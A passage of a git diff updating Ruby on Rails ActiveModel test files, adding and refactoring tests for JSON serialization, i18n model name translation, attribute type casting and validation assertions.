+  test "as_json should work with include option" do
+    json = @contact.as_json(include: :address)
+
+    assert_kind_of Hash, json
+    assert_kind_of Hash, json["address"]
+    %w(name age created_at awesome preferences).each do |field|
+      assert_equal @contact.public_send(field).as_json, json[field]
+    end
+    %w(address_line city state country).each do |field|
+      assert_equal @contact.address.public_send(field).as_json, json["address"][field]
+    end
+  end
+
+  test "as_json should work with include option paired with only filter" do
+    json = @contact.as_json(include: { address: { only: :city } })
+
+    assert_kind_of Hash, json
+    %w(name age created_at awesome preferences).each do |field|
+      assert_equal @contact.public_send(field).as_json, json[field]
+    end
+    assert_equal({ "city" => "Trichy" }, json["address"])
+  end
+
+  test "as_json should work with include option paired with except filter" do
+    json = @contact.as_json(include: { address: { except: [:address_line, :state, :country] } })
+
+    assert_kind_of Hash, json
+    %w(name age created_at awesome preferences).each do |field|
+      assert_equal @contact.public_send(field).as_json, json[field]
+    end
+    assert_equal({ "city" => "Trichy" }, json["address"])
+  end
+
   test "from_json should work without a root (class attribute)" do
     json = @contact.to_json
     result = Contact.new.from_json(json)
@@ -176,8 +264,20 @@ def @contact.favorite_quote; "Constraints are liberating"; end
     assert_equal result.preferences, @contact.preferences
   end
 
+  test "from_json supports models that include ActiveModel::AttributeAssignment and override assign_attributes" do
+    serialized = @contact.as_json
+    serialized.deep_transform_keys! { |key| key.camelize(:lower) }
+    result = CamelContact.new.from_json(serialized.to_json)
+
+    assert_equal result.name, @contact.name
+    assert_equal result.age, @contact.age
+    assert_equal Time.parse(result.created_at), @contact.created_at
+    assert_equal result.awesome, @contact.awesome
+    assert_equal result.preferences, @contact.preferences
+  end
+
   test "custom as_json should be honored when generating json" do
-    def @contact.as_json(options); { name: name, created_at: created_at }; end
+    def @contact.as_json(options = nil); { name: name, created_at: created_at }; end
     json = @contact.to_json
 
     assert_match %r{"name":"Konata Izumi"}, json
@@ -196,7 +296,7 @@ def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
     assert_no_match %r{"preferences":}, json
   end
 
-  test "Class.model_name should be json encodable" do
+  test "Class.model_name should be JSON encodable" do
     assert_match %r{"Contact"}, Contact.model_name.to_json
   end
 end
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
index 9972f9daead7b..6fa50474b2a23 100644
--- a/activemodel/test/cases/translation_test.rb
+++ b/activemodel/test/cases/translation_test.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/with"
 require "cases/helper"
 require "models/person"
 
@@ -82,9 +85,8 @@ def test_translated_model_names
     assert_equal "person model", Person.model_name.human
   end
 
-  def test_translated_model_names_with_sti
-    I18n.backend.store_translations "en", activemodel: { models: { child: "child model" } }
-    assert_equal "child model", Child.model_name.human
+  def test_translated_model_when_missing_translation
+    assert_equal "Person", Person.model_name.human
   end
 
   def test_translated_model_with_namespace
@@ -92,11 +94,38 @@ def test_translated_model_with_namespace
     assert_equal "gender model", Person::Gender.model_name.human
   end
 
-  def test_translated_model_names_with_ancestors_fallback
+  def test_translated_subclass_model
+    I18n.backend.store_translations "en", activemodel: { models: { child: "child model" } }
+    assert_equal "child model", Child.model_name.human
+  end
+
+  def test_translated_subclass_model_when_ancestor_translation
     I18n.backend.store_translations "en", activemodel: { models: { person: "person model" } }
     assert_equal "person model", Child.model_name.human
   end
 
+  def test_translated_attributes_when_nil
+    I18n.backend.store_translations "en", activemodel: { attributes: { "person/addresses": { street: "Person Address Street" } } }
+    assert_equal("Addresses", Person.human_attribute_name("addresses.#{nil}"))
+  end
+
+  def test_translated_deeply_nested_attributes_when_nil
+    I18n.backend.store_translations "en", activemodel: { attributes: { "person/contacts/addresses": { street: "Deeply Nested Address Street" } } }
+    assert_equal("Addresses/contacts", Person.human_attribute_name("addresses.contacts.#{nil}"))
+  end
+
+  def test_translated_subclass_model_when_missing_translation
+    assert_equal "Child", Child.model_name.human
+  end
+
+  def test_translated_model_with_default_value_when_missing_translation
+    assert_equal "dude", Person.model_name.human(default: "dude")
+  end
+
+  def test_translated_model_with_default_key_when_missing_both_translations
+    assert_equal "Person", Person.model_name.human(default: :this_key_does_not_exist)
+  end
+
   def test_human_does_not_modify_options
     options = { default: "person model" }
     Person.model_name.human(options)
@@ -108,4 +137,12 @@ def test_human_attribute_name_does_not_modify_options
     Person.human_attribute_name("gender", options)
     assert_equal({ default: "Cool gender" }, options)
   end
+
+  def test_raise_on_missing_translations
+    ActiveModel::Translation.with(raise_on_missing_translations: true) do
+      assert_raises I18n::MissingTranslationData do
+        Person.human_attribute_name("name")
+      end
+    end
+  end
 end
diff --git a/activemodel/test/cases/type/big_integer_test.rb b/activemodel/test/cases/type/big_integer_test.rb
index 56002b7cc69ca..893d9e5d2f6f2 100644
--- a/activemodel/test/cases/type/big_integer_test.rb
+++ b/activemodel/test/cases/type/big_integer_test.rb
@@ -1,9 +1,20 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
     class BigIntegerTest < ActiveModel::TestCase
+      class CustomNumber
+        attr_reader :num
+
+        def initialize(num)
+          @num = num
+        end
+
+        alias_method :to_i, :num
+      end
+
       def test_type_cast_big_integer
         type = Type::BigInteger.new
         assert_equal 1, type.cast(1)
@@ -19,6 +30,21 @@ def test_large_values
         type = Type::BigInteger.new
         assert_equal 9999999999999999999999999999999, type.serialize(9999999999999999999999999999999)
       end
+
+      def test_integer_like_classes_that_are_greater_than_4_bytes_still_serialize
+        type = Type::BigInteger.new
+        large_number = 9999999999999999999999999999999
+
+        assert_equal large_number, type.serialize(CustomNumber.new(large_number))
+      end
+
+      test "serialize_cast_value is equivalent to serialize after cast" do
+        type = Type::BigInteger.new
+        value = type.cast(9999999999999999999999999999999)
+
+        assert_equal type.serialize(value), type.serialize_cast_value(value)
+        assert_equal type.serialize(-value), type.serialize_cast_value(-value)
+      end
     end
   end
 end
diff --git a/activemodel/test/cases/type/binary_test.rb b/activemodel/test/cases/type/binary_test.rb
index e9c2ccfca4c82..b954031821b34 100644
--- a/activemodel/test/cases/type/binary_test.rb
+++ b/activemodel/test/cases/type/binary_test.rb
@@ -1,14 +1,27 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
     class BinaryTest < ActiveModel::TestCase
       def test_type_cast_binary
         type = Type::Binary.new
+
         assert_nil type.cast(nil)
-        assert_equal "1", type.cast("1")
         assert_equal 1, type.cast(1)
+
+        assert_equal "1", type.cast("1")
+        assert_equal Encoding::BINARY, type.cast("1").encoding
+
+        assert_equal "Ďe".b, type.cast("Ďe")
+        assert_not_equal "Ďe", type.cast("Ďe")
+      end
+
+      def test_serialize_binary_strings
+        type = Type::Binary.new
+        assert_equal "Ďe".b, type.serialize("Ďe")
+        assert_not_equal "Ďe", type.serialize("Ďe")
       end
     end
   end
diff --git a/activemodel/test/cases/type/boolean_test.rb b/activemodel/test/cases/type/boolean_test.rb
index 92e5aebfb7b9f..20723b7358cfc 100644
--- a/activemodel/test/cases/type/boolean_test.rb
+++ b/activemodel/test/cases/type/boolean_test.rb
@@ -1,13 +1,14 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
     class BooleanTest < ActiveModel::TestCase
       def test_type_cast_boolean
         type = Type::Boolean.new
-        assert type.cast("").nil?
-        assert type.cast(nil).nil?
+        assert_nil type.cast("")
+        assert_nil type.cast(nil)
 
         assert type.cast(true)
         assert type.cast(1)
@@ -22,6 +23,13 @@ def test_type_cast_boolean
         assert type.cast("\u3000\r\n")
         assert type.cast("\u0000")
         assert type.cast("SOMETHING RANDOM")
+        assert type.cast(:"1")
+        assert type.cast(:t)
+        assert type.cast(:T)
+        assert type.cast(:true)
+        assert type.cast(:TRUE)
+        assert type.cast(:on)
+        assert type.cast(:ON)
 
         # explicitly check for false vs nil
         assert_equal false, type.cast(false)
@@ -33,6 +41,13 @@ def test_type_cast_boolean
         assert_equal false, type.cast("FALSE")
         assert_equal false, type.cast("off")
         assert_equal false, type.cast("OFF")
+        assert_equal false, type.cast(:"0")
+        assert_equal false, type.cast(:f)
+        assert_equal false, type.cast(:F)
+        assert_equal false, type.cast(:false)
+        assert_equal false, type.cast(:FALSE)
+        assert_equal false, type.cast(:off)
+        assert_equal false, type.cast(:OFF)
       end
     end
   end
diff --git a/activemodel/test/cases/type/date_test.rb b/activemodel/test/cases/type/date_test.rb
index 0cc90e99d34f6..80f35f80fc47c 100644
--- a/activemodel/test/cases/type/date_test.rb
+++ b/activemodel/test/cases/type/date_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
@@ -10,9 +11,24 @@ def test_type_cast_date
         assert_nil type.cast("")
         assert_nil type.cast(" ")
         assert_nil type.cast("ABC")
+        assert_nil type.cast(" " * 129)
 
-        date_string = ::Time.now.utc.strftime("%F")
+        now = ::Time.now.utc
+        values_hash = { 1 => now.year, 2 => now.mon, 3 => now.mday }
+        date_string = now.strftime("%F")
         assert_equal date_string, type.cast(date_string).strftime("%F")
+        assert_equal date_string, type.cast(values_hash).strftime("%F")
+      end
+
+      def test_returns_correct_year
+        type = Type::Date.new
+
+        time = ::Time.utc(1, 1, 1)
+        date = ::Date.new(time.year, time.mon, time.mday)
+
+        values_hash_for_multiparameter_assignment = { 1 => 1, 2 => 1, 3 => 1 }
+
+        assert_equal date, type.cast(values_hash_for_multiparameter_assignment)
       end
     end
   end
diff --git a/activemodel/test/cases/type/date_time_test.rb b/activemodel/test/cases/type/date_time_test.rb
index 75a7fc686eb97..e1f513cdca510 100644
--- a/activemodel/test/cases/type/date_time_test.rb
+++ b/activemodel/test/cases/type/date_time_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
@@ -10,6 +11,7 @@ def test_type_cast_datetime_and_timestamp
         assert_nil type.cast("")
         assert_nil type.cast("  ")
         assert_nil type.cast("ABC")
+        assert_nil type.cast(" " * 129)
 
         datetime_string = ::Time.now.utc.strftime("%FT%T")
         assert_equal datetime_string, type.cast(datetime_string).strftime("%FT%T")
@@ -24,8 +26,25 @@ def test_string_to_time_with_timezone
         end
       end
 
-      private
+      def test_hash_to_time
+        type = Type::DateTime.new
+        assert_equal ::Time.utc(2018, 10, 15, 0, 0, 0), type.cast(1 => 2018, 2 => 10, 3 => 15)
+      end
 
+      def test_hash_with_wrong_keys
+        type = Type::DateTime.new
+        error = assert_raises(ArgumentError) { type.cast(a: 1) }
+        assert_equal "Provided hash #{{ a: 1 }} doesn't contain necessary keys: [1, 2, 3]", error.message
+      end
+
+      test "serialize_cast_value is equivalent to serialize after cast" do
+        type = Type::DateTime.new(precision: 1)
+        value = type.cast("1999-12-31 12:34:56.789 -1000")
+
+        assert_equal type.serialize(value), type.serialize_cast_value(value)
+      end
+
+      private
         def with_timezone_config(default:)
           old_zone_default = ::Time.zone_default
           ::Time.zone_default = ::Time.find_zone(default)
diff --git a/activemodel/test/cases/type/decimal_test.rb b/activemodel/test/cases/type/decimal_test.rb
index 46a913258e437..384bae1d908ce 100644
--- a/activemodel/test/cases/type/decimal_test.rb
+++ b/activemodel/test/cases/type/decimal_test.rb
@@ -1,19 +1,28 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
     class DecimalTest < ActiveModel::TestCase
       def test_type_cast_decimal
         type = Decimal.new
-        assert_equal BigDecimal.new("0"), type.cast(BigDecimal.new("0"))
-        assert_equal BigDecimal.new("123"), type.cast(123.0)
-        assert_equal BigDecimal.new("1"), type.cast(:"1")
+        assert_equal BigDecimal("0"), type.cast(BigDecimal("0"))
+        assert_equal BigDecimal("123"), type.cast(123.0)
+        assert_equal BigDecimal("1"), type.cast(:"1")
+      end
+
+      def test_type_cast_decimal_from_invalid_string
+        type = Decimal.new
+        assert_nil type.cast("")
+        assert_equal BigDecimal("1"), type.cast("1ignore")
+        assert_equal BigDecimal("0"), type.cast("bad1")
+        assert_equal BigDecimal("0"), type.cast("bad")
       end
 
       def test_type_cast_decimal_from_float_with_large_precision
         type = Decimal.new(precision: ::Float::DIG + 2)
-        assert_equal BigDecimal.new("123.0"), type.cast(123.0)
+        assert_equal BigDecimal("123.0"), type.cast(123.0)
       end
 
       def test_type_cast_from_float_with_unspecified_precision
@@ -24,22 +33,25 @@ def test_type_cast_from_float_with_unspecified_precision
       def test_type_cast_decimal_from_rational_with_precision
         type = Decimal.new(precision: 2)
         assert_equal BigDecimal("0.33"), type.cast(Rational(1, 3))
+        assert_equal BigDecimal("0.67"), type.cast(Rational(2, 3))
       end
 
       def test_type_cast_decimal_from_rational_with_precision_and_scale
         type = Decimal.new(precision: 4, scale: 2)
         assert_equal BigDecimal("0.33"), type.cast(Rational(1, 3))
+        assert_equal BigDecimal("0.67"), type.cast(Rational(2, 3))
       end
 
       def test_type_cast_decimal_from_rational_without_precision_defaults_to_18_36
         type = Decimal.new
         assert_equal BigDecimal("0.333333333333333333E0"), type.cast(Rational(1, 3))
+        assert_equal BigDecimal("0.666666666666666667E0"), type.cast(Rational(2, 3))
       end
 
       def test_type_cast_decimal_from_object_responding_to_d
         value = Object.new
         def value.to_d
-          BigDecimal.new("1")
+          BigDecimal("1")
         end
         type = Decimal.new
         assert_equal BigDecimal("1"), type.cast(value)
@@ -48,9 +60,14 @@ def value.to_d
       def test_changed?
         type = Decimal.new
 
-        assert type.changed?(5.0, 5.0, "5.0wibble")
+        assert type.changed?(0.0, 0, "wibble")
+        assert type.changed?(5.0, 0, "wibble")
+        assert_not type.changed?(5.0, 5.0, "5.0wibble")
         assert_not type.changed?(5.0, 5.0, "5.0")
         assert_not type.changed?(-5.0, -5.0, "-5.0")
+        assert_not type.changed?(5.0, 5.0, "0.5e+1")
+        assert_not type.changed?(BigDecimal("0.0") / 0, BigDecimal("0.0") / 0, BigDecimal("0.0") / 0)
+        assert type.changed?(BigDecimal("0.0") / 0, 0.0 / 0.0, 0.0 / 0.0)
       end
 
       def test_scale_is_applied_before_precision_to_prevent_rounding_errors
diff --git a/activemodel/test/cases/type/float_test.rb b/activemodel/test/cases/type/float_test.rb
index 2e34f57f7ead4..ca18e125d2998 100644
--- a/activemodel/test/cases/type/float_test.rb
+++ b/activemodel/test/cases/type/float_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
@@ -9,13 +10,26 @@ def test_type_cast_float
         assert_equal 1.0, type.cast("1")
       end
 
+      def test_type_cast_float_from_invalid_string
+        type = Type::Float.new
+        assert_nil type.cast("")
+        assert_equal 1.0, type.cast("1ignore")
+        assert_equal 0.0, type.cast("bad1")
+        assert_equal 0.0, type.cast("bad")
+      end
+
       def test_changing_float
         type = Type::Float.new
 
-        assert type.changed?(5.0, 5.0, "5wibble")
+        assert type.changed?(0.0, 0, "wibble")
+        assert type.changed?(5.0, 0, "wibble")
+        assert_not type.changed?(5.0, 5.0, "5wibble")
         assert_not type.changed?(5.0, 5.0, "5")
         assert_not type.changed?(5.0, 5.0, "5.0")
+        assert_not type.changed?(500.0, 500.0, "0.5E+4")
         assert_not type.changed?(nil, nil, nil)
+        assert_not type.changed?(0.0 / 0.0, 0.0 / 0.0, 0.0 / 0.0)
+        assert type.changed?(0.0 / 0.0, BigDecimal("0.0") / 0, BigDecimal("0.0") / 0)
       end
     end
   end
diff --git a/activemodel/test/cases/type/immutable_string_test.rb b/activemodel/test/cases/type/immutable_string_test.rb
index 23e58974fb537..751f753ddbe02 100644
--- a/activemodel/test/cases/type/immutable_string_test.rb
+++ b/activemodel/test/cases/type/immutable_string_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
diff --git a/activemodel/test/cases/type/integer_test.rb b/activemodel/test/cases/type/integer_test.rb
index 2b9b03f3cf69c..2ecf4ebfa102c 100644
--- a/activemodel/test/cases/type/integer_test.rb
+++ b/activemodel/test/cases/type/integer_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 require "active_support/core_ext/numeric/time"
 
 module ActiveModel
@@ -7,6 +8,7 @@ module Type
     class IntegerTest < ActiveModel::TestCase
       test "simple values" do
         type = Type::Integer.new
+        assert_nil type.cast("")
         assert_equal 1, type.cast(1)
         assert_equal 1, type.cast("1")
         assert_equal 1, type.cast("1ignore")
@@ -48,12 +50,31 @@ class IntegerTest < ActiveModel::TestCase
         assert_equal 7200, type.cast(2.hours)
       end
 
+      test "casting string for database" do
+        type = Type::Integer.new
+        assert_nil type.serialize("wibble")
+        assert_equal 5, type.serialize("5wibble")
+        assert_equal 5, type.serialize(" +5")
+        assert_equal(-5, type.serialize(" -5"))
+      end
+
+      test "casting empty string" do
+        type = Type::Integer.new
+        assert_nil type.cast("")
+        assert_nil type.serialize("")
+        assert_nil type.deserialize("")
+      end
+
       test "changed?" do
         type = Type::Integer.new
 
-        assert type.changed?(5, 5, "5wibble")
+        assert type.changed?(0, 0, "wibble")
+        assert type.changed?(5, 0, "wibble")
+        assert_not type.changed?(5, 5, "5wibble")
         assert_not type.changed?(5, 5, "5")
         assert_not type.changed?(5, 5, "5.0")
+        assert_not type.changed?(5, 5, "+5")
+        assert_not type.changed?(5, 5, "+5.0")
         assert_not type.changed?(-5, -5, "-5")
         assert_not type.changed?(-5, -5, "-5.0")
         assert_not type.changed?(nil, nil, nil)
@@ -110,6 +131,18 @@ class IntegerTest < ActiveModel::TestCase
           type.serialize(9999999999999999999999999999999)
         end
       end
+
+      test "serialize_cast_value enforces range" do
+        type = Integer.new
+
+        assert_raises(ActiveModel::RangeError) do
+          type.serialize_cast_value(-2147483649)
+        end
+
+        assert_raises(ActiveModel::RangeError) do
+          type.serialize_cast_value(2147483648)
+        end
+      end
     end
   end
 end
diff --git a/activemodel/test/cases/type/registry_test.rb b/activemodel/test/cases/type/registry_test.rb
index 927b6d03076a0..80fe107138748 100644
--- a/activemodel/test/cases/type/registry_test.rb
+++ b/activemodel/test/cases/type/registry_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
@@ -11,20 +12,26 @@ class RegistryTest < ActiveModel::TestCase
 
         assert_equal "", registry.lookup(:foo)
         assert_equal [], registry.lookup(:bar)
+        assert_equal [:a, :a], registry.lookup(:bar, 2, :a) # Array.new(2, :a)
+        assert_equal [{}, {}], registry.lookup(:bar, 2, {}) # Array.new(2, {})
       end
 
       test "a block can be registered" do
         registry = Type::Registry.new
-        registry.register(:foo) do |*args|
-          [*args, "block for foo"]
+        registry.register(:foo) do |type, *args|
+          [type, args, "block for foo"]
+        end
+        registry.register(:bar) do |type, *args|
+          [type, args, "block for bar"]
         end
-        registry.register(:bar) do |*args|
-          [*args, "block for bar"]
+        registry.register(:baz) do |type, **kwargs|
+          [type, kwargs, "block for baz"]
         end
 
-        assert_equal [:foo, 1, "block for foo"], registry.lookup(:foo, 1)
-        assert_equal [:foo, 2, "block for foo"], registry.lookup(:foo, 2)
-        assert_equal [:bar, 1, 2, 3, "block for bar"], registry.lookup(:bar, 1, 2, 3)
+        assert_equal [:foo, [1], "block for foo"], registry.lookup(:foo, 1)
+        assert_equal [:foo, [2], "block for foo"], registry.lookup(:foo, 2)
+        assert_equal [:bar, [1, 2, 3], "block for bar"], registry.lookup(:bar, 1, 2, 3)
+        assert_equal [:baz, { kw: 1 }, "block for baz"], registry.lookup(:baz, kw: 1)
       end
 
       test "a reasonable error is given when no type is found" do
diff --git a/activemodel/test/cases/type/serialize_cast_value_test.rb b/activemodel/test/cases/type/serialize_cast_value_test.rb
new file mode 100644
index 0000000000000..93c9562dbb43a
--- /dev/null
+++ b/activemodel/test/cases/type/serialize_cast_value_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveModel
+  module Type
+    class SerializeCastValueTest < ActiveModel::TestCase
+      class DoesNotIncludeModule
+        def serialize(value)
+          "serialize(#{value})"
+        end
+      end
+
+      class IncludesModule < DoesNotIncludeModule
+        include SerializeCastValue
+
+        def serialize_cast_value(value)
+          "serialize_cast_value(#{super})"
+        end
+      end
+
+      test "provides a default #serialize_cast_value implementation" do
+        type = Class.new(DoesNotIncludeModule) { include SerializeCastValue }
+        assert_equal "foo", type.new.serialize_cast_value("foo")
+      end
+
+      test "uses #serialize when a class does not include SerializeCastValue" do
+        assert_serializes_using :serialize, DoesNotIncludeModule.new
+      end
+
+      test "uses #serialize_cast_value when a class includes SerializeCastValue" do
+        assert_serializes_using :serialize_cast_value, IncludesModule.new
+      end
+
+      test "uses #serialize_cast_value when a subclass inherits both #serialize and #serialize_cast_value" do
+        subclass = Class.new(IncludesModule)
+        assert_serializes_using :serialize_cast_value, subclass.new
+      end
+
+      test "uses #serialize when a subclass defines a newer #serialize implementation" do
+        subclass = Class.new(IncludesModule) { def serialize(value); super; end }
+        assert_serializes_using :serialize, subclass.new
+      end
+
+      test "uses #serialize_cast_value when a subclass defines a newer #serialize_cast_value implementation" do
+        subclass = Class.new(IncludesModule) { def serialize_cast_value(value); super; end }
+        assert_serializes_using :serialize_cast_value, subclass.new
+      end
+
+      test "uses #serialize when a subclass defines a newer #serialize implementation via a module" do
+        mod = Module.new { def serialize(value); super; end }
+        subclass = Class.new(IncludesModule) { include mod }
+        assert_serializes_using :serialize, subclass.new
+      end
+
+      test "uses #serialize_cast_value when a subclass defines a newer #serialize_cast_value implementation via a module" do
+        mod = Module.new { def serialize_cast_value(value); super; end }
+        subclass = Class.new(IncludesModule) { include mod }
+        assert_serializes_using :serialize_cast_value, subclass.new
+      end
+
+      test "uses #serialize when a delegate class does not include SerializeCastValue" do
+        delegate_class = DelegateClass(IncludesModule)
+        assert_serializes_using :serialize, delegate_class.new(IncludesModule.new)
+      end
+
+      test "uses #serialize_cast_value when a delegate class prepends SerializeCastValue" do
+        delegate_class = ActiveSupport::Delegation::DelegateClass(IncludesModule) { prepend SerializeCastValue }
+        assert_serializes_using :serialize_cast_value, delegate_class.new(IncludesModule.new)
+      end
+
+      test "uses #serialize_cast_value when a delegate class subclass includes SerializeCastValue" do
+        delegate_subclass = Class.new(ActiveSupport::Delegation::DelegateClass(IncludesModule)) { include SerializeCastValue }
+        assert_serializes_using :serialize_cast_value, delegate_subclass.new(IncludesModule.new)
+      end
+
+      private
+        def assert_serializes_using(method_name, type)
+          assert_equal "#{method_name}(foo)", SerializeCastValue.serialize(type, "foo")
+        end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/string_test.rb b/activemodel/test/cases/type/string_test.rb
index 222083817ecdc..9cc530e8db93b 100644
--- a/activemodel/test/cases/type/string_test.rb
+++ b/activemodel/test/cases/type/string_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
@@ -11,17 +12,34 @@ class StringTest < ActiveModel::TestCase
         assert_equal "123", type.cast(123)
       end
 
+      test "type casting for database" do
+        type = Type::String.new
+        object, array, hash = Object.new, [true], { a: :b }
+        assert_equal object, type.serialize(object)
+        assert_equal array, type.serialize(array)
+        assert_equal hash, type.serialize(hash)
+      end
+
       test "cast strings are mutable" do
-        s = "foo"
         type = Type::String.new
+
+        s = +"foo"
         assert_equal false, type.cast(s).frozen?
+        assert_equal false, s.frozen?
+
+        f = -"foo"
+        assert_equal false, type.cast(f).frozen?
+        assert_equal true, f.frozen?
       end
 
       test "values are duped coming out" do
-        s = "foo"
         type = Type::String.new
+
+        s = "foo"
         assert_not_same s, type.cast(s)
+        assert_equal s, type.cast(s)
         assert_not_same s, type.deserialize(s)
+        assert_equal s, type.deserialize(s)
       end
     end
   end
diff --git a/activemodel/test/cases/type/time_test.rb b/activemodel/test/cases/type/time_test.rb
index 0cc4d33caa98d..e41ebd4706fd2 100644
--- a/activemodel/test/cases/type/time_test.rb
+++ b/activemodel/test/cases/type/time_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
 
 module ActiveModel
   module Type
@@ -9,12 +10,38 @@ def test_type_cast_time
         assert_nil type.cast(nil)
         assert_nil type.cast("")
         assert_nil type.cast("ABC")
+        assert_nil type.cast(" " * 129)
 
         time_string = ::Time.now.utc.strftime("%T")
         assert_equal time_string, type.cast(time_string).strftime("%T")
 
         assert_equal ::Time.utc(2000,  1,  1, 16, 45, 54), type.cast("2015-06-13T19:45:54+03:00")
         assert_equal ::Time.utc(1999, 12, 31, 21,  7,  8), type.cast("06:07:08+09:00")
+        assert_equal ::Time.utc(2000,  1,  1, 16, 45, 54), type.cast(4 => 16, 5 => 45, 6 => 54)
+        assert_equal ::Time.utc(2000,  1,  1, 3, 30, 0), type.cast("2023-01-01T00:00:00-03:30")
+      end
+
+      def test_user_input_in_time_zone
+        ::Time.use_zone("Pacific Time (US & Canada)") do
+          type = Type::Time.new
+          assert_nil type.user_input_in_time_zone(nil)
+          assert_nil type.user_input_in_time_zone("")
+          assert_nil type.user_input_in_time_zone("ABC")
+          assert_nil type.user_input_in_time_zone(" " * 129)
+
+          offset = ::Time.zone.formatted_offset
+          time_string = "2015-02-09T19:45:54#{offset}"
+
+          assert_equal 19, type.user_input_in_time_zone(time_string).hour
+          assert_equal offset, type.user_input_in_time_zone(time_string).formatted_offset
+        end
+      end
+
+      test "serialize_cast_value is equivalent to serialize after cast" do
+        type = Type::Time.new(precision: 1)
+        value = type.cast("1999-12-31T12:34:56.789-10:00")
+
+        assert_equal type.serialize(value), type.serialize_cast_value(value)
       end
     end
   end
diff --git a/activemodel/test/cases/type/value_test.rb b/activemodel/test/cases/type/value_test.rb
index d8b3e7f164f4e..bd41f576be727 100644
--- a/activemodel/test/cases/type/value_test.rb
+++ b/activemodel/test/cases/type/value_test.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_model/type"
+require "active_support/core_ext/object/json"
 
 module ActiveModel
   module Type
@@ -9,6 +11,12 @@ def test_type_equality
         assert_not_equal Type::Value.new, Type::Integer.new
         assert_not_equal Type::Value.new(precision: 1), Type::Value.new(precision: 2)
       end
+
+      def test_as_json_not_defined
+        assert_raises NoMethodError do
+          Type::Value.new.as_json
+        end
+      end
     end
   end
 end
diff --git a/activemodel/test/cases/type_test.rb b/activemodel/test/cases/type_test.rb
new file mode 100644
index 0000000000000..43951e0259c4c
--- /dev/null
+++ b/activemodel/test/cases/type_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveModel
+  class TypeTest < ActiveModel::TestCase
+    setup do
+      @old_registry = ActiveModel::Type.registry
+      ActiveModel::Type.registry = @old_registry.dup
+    end
+
+    teardown do
+      ActiveModel::Type.registry = @old_registry
+    end
+
+    test "registering a new type" do
+      type = Struct.new(:args)
+      ActiveModel::Type.register(:foo, type)
+
+      assert_equal type.new(:arg), ActiveModel::Type.lookup(:foo, :arg)
+      assert_equal type.new({}), ActiveModel::Type.lookup(:foo, {})
+    end
+  end
+end
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
index 833f694c5a00e..8bc4f4723aa71 100644
--- a/activemodel/test/cases/validations/absence_validation_test.rb
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/person"
@@ -15,16 +17,16 @@ def test_validates_absence_of
     t = Topic.new
     t.title = "foo"
     t.content = "bar"
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["must be blank"], t.errors[:title]
     assert_equal ["must be blank"], t.errors[:content]
     t.title = ""
     t.content = "something"
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["must be blank"], t.errors[:content]
     assert_equal [], t.errors[:title]
     t.content = ""
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_absence_of_with_array_arguments
@@ -32,7 +34,7 @@ def test_validates_absence_of_with_array_arguments
     t = Topic.new
     t.title = "foo"
     t.content = "bar"
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["must be blank"], t.errors[:title]
     assert_equal ["must be blank"], t.errors[:content]
   end
@@ -41,7 +43,7 @@ def test_validates_absence_of_with_custom_error_using_quotes
     Person.validates_absence_of :karma, message: "This string contains 'single' and \"double\" quotes"
     p = Person.new
     p.karma = "good"
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
   end
 
@@ -49,19 +51,19 @@ def test_validates_absence_of_for_ruby_class
     Person.validates_absence_of :karma
     p = Person.new
     p.karma = "good"
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal ["must be blank"], p.errors[:karma]
     p.karma = nil
-    assert p.valid?
+    assert_predicate p, :valid?
   end
 
   def test_validates_absence_of_for_ruby_class_with_custom_reader
     CustomReader.validates_absence_of :karma
     p = CustomReader.new
     p[:karma] = "excellent"
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal ["must be blank"], p.errors[:karma]
     p[:karma] = ""
-    assert p.valid?
+    assert_predicate p, :valid?
   end
 end
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
index fbd994e9145ff..83a72899bd858 100644
--- a/activemodel/test/cases/validations/acceptance_validation_test.rb
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -1,3 +1,5 @@
